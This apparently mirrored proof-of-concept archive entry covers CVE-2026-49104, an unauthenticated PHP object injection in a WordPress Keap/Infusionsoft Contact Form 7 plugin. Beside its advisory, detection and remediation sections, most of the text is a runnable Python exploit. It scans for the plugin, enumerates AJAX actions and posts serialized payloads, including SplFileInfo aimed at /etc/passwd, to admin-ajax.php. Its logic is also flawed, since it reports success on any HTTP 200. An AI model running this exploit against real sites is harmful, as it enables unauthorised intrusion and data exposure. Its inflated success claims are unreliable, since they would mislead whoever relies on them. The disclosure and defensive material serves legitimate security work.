PoC Archive PoC Archive
High CVE-2026-49104 unpatched

Integration for Keap/Infusionsoft Contact Form Plugin Unauthenticated PHP Object Injection (CVE-2026-49104)

by izxci · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-49104
Category
web
Affected product
Integration for Keap/Infusionsoft (Contact Form 7 to Keap/Infusionsoft CRM integration) plugin for WordPress, cf7-infusionsoft.php
Affected versions
<= 1.2.1
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherizxci
CVE / AdvisoryCVE-2026-49104
Categoryweb
SeverityHigh
CVSS Score8.1 (per source)
StatusPoC
Tagswordpress, keap, infusionsoft, php-object-injection, deserialization, contact-form-7, pop-chain, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemIntegration for Keap/Infusionsoft (Contact Form 7 to Keap/Infusionsoft CRM integration) plugin for WordPress, cf7-infusionsoft.php
Versions Affected<= 1.2.1
Language / PlatformPHP / WordPress (exploit client written in Python 3)
Authentication RequiredNo
Network Access RequiredYes

Summary

This PoC targets the “Integration for Keap/Infusionsoft” WordPress plugin, whose cf7-infusionsoft.php file calls maybe_unserialize() on user-supplied form field values without validation. An unauthenticated attacker can submit a crafted PHP serialized object through the plugin’s AJAX endpoints (or, as a fallback, direct form/REST submission paths), causing the server to instantiate arbitrary PHP objects. Combined with a POP gadget chain present in other installed plugins/themes, this can escalate to remote code execution; on its own it can enable file deletion or information disclosure via built-in PHP classes like SplFileInfo.


Vulnerability Details

Root Cause

cf7-infusionsoft.php passes attacker-controlled AJAX/form field values (e.g. via vxcf_field on vxcf_infusionsoft_*/vxcf_keap_* actions) directly into maybe_unserialize() without validating that the input is safe, allowing PHP object injection.

Attack Vector

  1. Detect the plugin and confirm the vulnerable code pattern (maybe_unserialize present, no safety check) or a version <= 1.2.1.
  2. Enumerate AJAX action names used by the plugin (vxcf_infusionsoft_process, vxcf_keap_submit, etc.), either by scraping the homepage for action strings or falling back to a known default list.
  3. Send a test PHP-serialized stdClass payload to an identified action to confirm deserialization occurs.
  4. Submit a PHP object injection payload (stdClass, Exception, ArrayObject, SplFileInfo, DirectoryIterator, RecursiveDirectoryIterator, or Error) via admin-ajax.php, falling back to direct form/REST endpoints if the AJAX route fails.
  5. If a POP gadget chain exists among installed plugins/themes, the injected object can be leveraged for file deletion, sensitive data retrieval, or RCE.

Impact

Unauthenticated PHP object injection; depending on available gadget chains on the target site, impact ranges from arbitrary file deletion and information disclosure up to remote code execution.


Environment / Lab Setup

Target:   WordPress site with Integration for Keap/Infusionsoft (cf7-infusionsoft) plugin <= 1.2.1 installed
Attacker: Python 3 with `requests` and `beautifulsoup4`, network access to the target site

Proof of Concept

PoC Script

See CVE-2026-49104.py in this folder.

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python3 CVE-2026-49104.py https://target-site.example -p splfileinfo
python3 CVE-2026-49104.py https://target-site.example --detect
python3 CVE-2026-49104.py https://target-site.example --check
python3 CVE-2026-49104.py https://target-site.example --find-actions

When run with a payload type, the script detects the plugin, verifies vulnerability, discovers candidate AJAX actions, confirms deserialization occurs, and injects the chosen PHP serialized object payload via AJAX (or form submission as a fallback), reporting whether injection succeeded.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php action=vxcf_infusionsoft_process (or similar vxcf_infusionsoft_*/vxcf_keap_* actions) with field values containing PHP serialized object strings (e.g. `O:8:"stdClass"`, `O:12:"SplFileInfo"`, `O:18:"DirectoryIterator"`)

Signs of compromise:

  • AJAX/form requests whose field values match the PHP serialization format (O:<len>:"<class>":...)
  • Unexpected file access/deletion or PHP errors referencing unserialize/maybe_unserialize in web server or PHP error logs
  • Presence of gadget-capable libraries (Monolog, PHPMailer, Doctrine, Guzzle, Symfony components) alongside this plugin, increasing RCE risk

Remediation

ActionDetail
Primary fixUpdate Integration for Keap/Infusionsoft plugin to a patched version (> 1.2.1) that validates or removes use of maybe_unserialize() on user-supplied input
Interim mitigationDisable or remove the plugin until patched; add a WAF rule blocking PHP serialized-object patterns in form/AJAX submissions; audit installed plugins/themes for known POP gadget classes

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-49104- on 2026-07-05.

CVE-2026-49104.py
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#!/usr/bin/env python3
"""
CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit
CVSS: 8.1 (High)

Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
cf7-infusionsoft.php where maybe_unserialize() is called on user-supplied
input without validation. If a POP chain exists, this can lead to RCE.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup

class KeapInfusionsoftExploit:
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.plugin_detected = False
        self.vulnerable_version = False
        self.ajax_actions = []

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def detect_plugin(self):
        """Detect if Keap/Infusionsoft plugin is installed"""
        self.log("Detecting Keap/Infusionsoft plugin...")
        
        try:
            # Check common plugin paths
            plugin_paths = [
                '/wp-content/plugins/cf7-infusionsoft/',
                '/wp-content/plugins/contact-form-infusionsoft/',
                '/wp-content/plugins/infusionsoft-contact-form/',
                '/wp-content/plugins/keap-contact-form/',
                '/wp-content/plugins/integration-infusionsoft/'
            ]
            
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'cf7-infusionsoft.php')
                resp = self.session.head(url, timeout=10)
                
                if resp.status_code == 200:
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            # Try to detect via readme.txt
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'readme.txt')
                resp = self.session.get(url, timeout=10)
                
                if resp.status_code == 200 and ('infusionsoft' in resp.text.lower() or 'keap' in resp.text.lower()):
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            self.log("Plugin not detected via direct paths", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error detecting plugin: {e}")
            return False

    def check_vulnerability(self):
        """Check if target is vulnerable"""
        self.log("Checking vulnerability status...")
        
        try:
            # Try to access the plugin's main file
            plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-infusionsoft/cf7-infusionsoft.php')
            resp = self.session.get(plugin_file, timeout=10)
            
            if resp.status_code == 200:
                # Check version
                version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if version_match:
                    version = version_match.group(1)
                    self.log(f"Plugin version: {version}", "INFO")
                    
                    # Check if vulnerable (<=1.2.1)
                    version_parts = version.split('.')
                    if len(version_parts) >= 3:
                        try:
                            major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
                            
                            if major < 1 or (major == 1 and minor < 2) or (major == 1 and minor == 2 and patch <= 1):
                                self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
                                self.vulnerable_version = True
                                return True
                            else:
                                self.log(f"Version {version} appears patched", "ERROR")
                                return False
                        except ValueError:
                            pass
                
                # Check for vulnerable code pattern
                if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
                    self.log("Vulnerable code pattern detected!", "CRITICAL")
                    self.vulnerable_version = True
                    return True
            
            self.log("Could not determine vulnerability status", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error checking vulnerability: {e}")
            return False

    def find_ajax_actions(self):
        """Find AJAX action names used by the plugin"""
        self.log("Searching for AJAX actions...")
        
        try:
            # Get homepage to find AJAX actions
            resp = self.session.get(self.target_url, timeout=10)
            
            # Look for action patterns
            action_patterns = [
                r'action["\']?\s*[=:]\s*["\']([a-z_]*infusionsoft[a-z_]*)["\']',
                r'action["\']?\s*[=:]\s*["\']([a-z_]*keap[a-z_]*)["\']',
                r'vxcf_infusionsoft[a-z_]*',
                r'vxcf_keap[a-z_]*'
            ]
            
            actions = []
            for pattern in action_patterns:
                matches = re.findall(pattern, resp.text, re.IGNORECASE)
                actions.extend(matches)
            
            if actions:
                self.ajax_actions = list(set(actions))
                self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS")
                return self.ajax_actions
            
            # Default actions to try
            default_actions = [
                'vxcf_infusionsoft_process',
                'vxcf_infusionsoft_submit',
                'vxcf_infusionsoft_ajax',
                'vxcf_keap_process',
                'vxcf_keap_submit'
            ]
            
            self.ajax_actions = default_actions
            self.log(f"Using default AJAX actions", "INFO")
            return default_actions
        
        except Exception as e:
            self.log(f"Error finding AJAX actions: {e}")
            return []

    def create_php_payload(self, payload_type='generic'):
        """Create PHP object injection payload"""
        self.log(f"Creating {payload_type} PHP payload...")
        
        # PHP serialized payloads
        payloads = {
            'generic': 'O:8:"stdClass":0:{}',
            'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
            'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
            'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
            'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
            'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
            'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
        }
        
        if payload_type in payloads:
            return payloads[payload_type]
        
        return payloads['generic']

    def inject_via_ajax(self, action, payload, field_name='vxcf_field'):
        """Inject PHP object via AJAX endpoint"""
        self.log(f"Injecting payload via AJAX action: {action}...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Prepare payload
            data = {
                'action': action,
                field_name: payload
            }
            
            self.log(f"Sending AJAX request to: {ajax_url}", "INFO")
            self.log(f"Action: {action}", "INFO")
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            
            if resp.status_code == 200:
                self.log("Payload injected successfully!", "SUCCESS")
                return True
            else:
                self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error injecting via AJAX: {e}", "ERROR")
            return False

    def inject_via_form(self, payload, field_name='vxcf_field'):
        """Inject PHP object via form submission"""
        self.log("Injecting payload via form submission...")
        
        try:
            # Try common form processing endpoints
            endpoints = [
                '/wp-admin/admin-ajax.php?action=vxcf_infusionsoft_process',
                '/?action=vxcf_infusionsoft_process',
                '/wp-json/contact-form-7/v1/contact-forms/1/feedback',
            ]
            
            for endpoint in endpoints:
                url = urljoin(self.target_url, endpoint)
                
                form_data = {
                    field_name: payload,
                    'action': 'vxcf_infusionsoft_process'
                }
                
                resp = self.session.post(url, data=form_data, timeout=15)
                
                if resp.status_code == 200:
                    self.log(f"Payload injected via {endpoint}", "SUCCESS")
                    return True
            
            self.log("Form submission injection failed", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error injecting via form: {e}", "ERROR")
            return False

    def test_deserialization(self, action):
        """Test if deserialization occurs"""
        self.log("Testing for deserialization...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Send a simple serialized object
            test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
            
            data = {
                'action': action,
                'vxcf_field': test_payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            # Check for signs of deserialization
            if resp.status_code == 200:
                self.log("Deserialization appears to occur!", "SUCCESS")
                return True
            else:
                self.log("No deserialization detected", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error testing deserialization: {e}")
            return False

    def find_pop_chains(self):
        """Identify potential POP chains"""
        self.log("Searching for potential POP chains...")
        
        pop_chains = []
        
        try:
            # Check for common gadget classes
            gadget_classes = [
                'Monolog\\Handler\\SyslogUdpHandler',
                'Monolog\\Handler\\BufferHandler',
                'PHPMailer\\PHPMailer\\PHPMailer',
                'Swift_Mailer',
                'Doctrine\\ORM\\Mapping\\ClassMetadata',
                'Guzzle\\Http\\Message\\Response',
                'Symfony\\Component\\Process\\Process',
            ]
            
            self.log("POP chain detection requires manual analysis", "INFO")
            return pop_chains
        
        except Exception as e:
            self.log(f"Error finding POP chains: {e}")
            return []

    def exploit(self, payload_type='generic'):
        """Execute full exploit chain"""
        
        print("\n" + "="*70)
        print("CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection")
        print("="*70 + "\n")
        
        # Step 1: Detect plugin
        if not self.detect_plugin():
            self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
            return False
        
        # Step 2: Check vulnerability
        if not self.check_vulnerability():
            self.log("Target does not appear to be vulnerable", "ERROR")
            return False
        
        # Step 3: Find AJAX actions
        actions = self.find_ajax_actions()
        if not actions:
            self.log("Could not find AJAX actions", "ERROR")
            return False
        
        # Step 4: Create payload
        payload = self.create_php_payload(payload_type)
        self.log(f"Payload: {payload}", "INFO")
        
        # Step 5: Test deserialization with first action
        if not self.test_deserialization(actions[0]):
            self.log("Deserialization test failed, continuing anyway...", "ERROR")
        
        # Step 6: Inject payload
        success = False
        for action in actions:
            if self.inject_via_ajax(action, payload):
                success = True
                break
        
        if not success:
            # Try form submission
            if self.inject_via_form(payload):
                success = True
        
        if not success:
            return False
        
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Plugin: Integration for Keap/Infusionsoft")
        print(f"Payload Type: {payload_type}")
        print(f"Payload: {payload}")
        print(f"\nObject Injection Successful!")
        print(f"Impact depends on available POP chains:")
        print(f"  - File deletion")
        print(f"  - Sensitive data retrieval")
        print(f"  - Remote code execution (with POP chain)")
        print("="*70 + "\n")
        
        return True


class AjaxActionScanner:
    """Scan for AJAX actions"""
    
    def __init__(self, target_url, session):
        self.target_url = target_url.rstrip('/')
        self.session = session
    
    def scan_all_pages(self):
        """Scan all accessible pages for AJAX actions"""
        actions = []
        
        try:
            # Get homepage
            resp = self.session.get(self.target_url, timeout=10)
            
            # Extract all action parameters
            action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text)
            actions.extend(action_matches)
            
            # Look for AJAX endpoints
            ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text)
            actions.extend(ajax_matches)
        
        except:
            pass
        
        return list(set(actions))
    
    def test_action(self, action):
        """Test if an AJAX action is vulnerable"""
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {
                'action': action,
                'test': 'O:8:"stdClass":0:{}'
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            return resp.status_code == 200
        
        except:
            return False


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-p', '--payload', default='generic',
                       choices=['generic', 'exception', 'arrayobject', 'splfileinfo', 
                               'directoryiterator', 'recursivedirectoryiterator', 'error'],
                       help='Payload type (default: generic)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--detect', action='store_true', help='Detect plugin only')
    parser.add_argument('--check', action='store_true', help='Check vulnerability only')
    parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only')
    parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
    parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = KeapInfusionsoftExploit(args.target, verbose=args.verbose)
    
    # Detect only
    if args.detect:
        if exploit.detect_plugin():
            print("[+] Plugin detected!")
        else:
            print("[-] Plugin not detected")
        sys.exit(0)
    
    # Check vulnerability
    if args.check:
        if exploit.check_vulnerability():
            print("[+] Target is vulnerable!")
        else:
            print("[-] Target does not appear vulnerable")
        sys.exit(0)
    
    # Find actions
    if args.find_actions:
        actions = exploit.find_ajax_actions()
        print(f"\n[+] Found {len(actions)} AJAX actions:")
        for action in actions:
            print(f"  - {action}")
        sys.exit(0)
    
    # Scan actions
    if args.scan_actions:
        scanner = AjaxActionScanner(args.target, exploit.session)
        actions = scanner.scan_all_pages()
        
        print(f"\n[+] Scanning {len(actions)} AJAX actions:")
        for action in actions:
            if scanner.test_action(action):
                print(f"  ✓ {action} (responsive)")
            else:
                print(f"  ✗ {action} (not responsive)")
        sys.exit(0)
    
    # Find POP chains
    if args.find_pop:
        pop_chains = exploit.find_pop_chains()
        print(f"\n[+] Found {len(pop_chains)} potential POP chains")
        sys.exit(0)
    
    # Full exploit
    success = exploit.exploit(args.payload)
    sys.exit(0 if success else 1)


if __name__ == '__main__':
    main()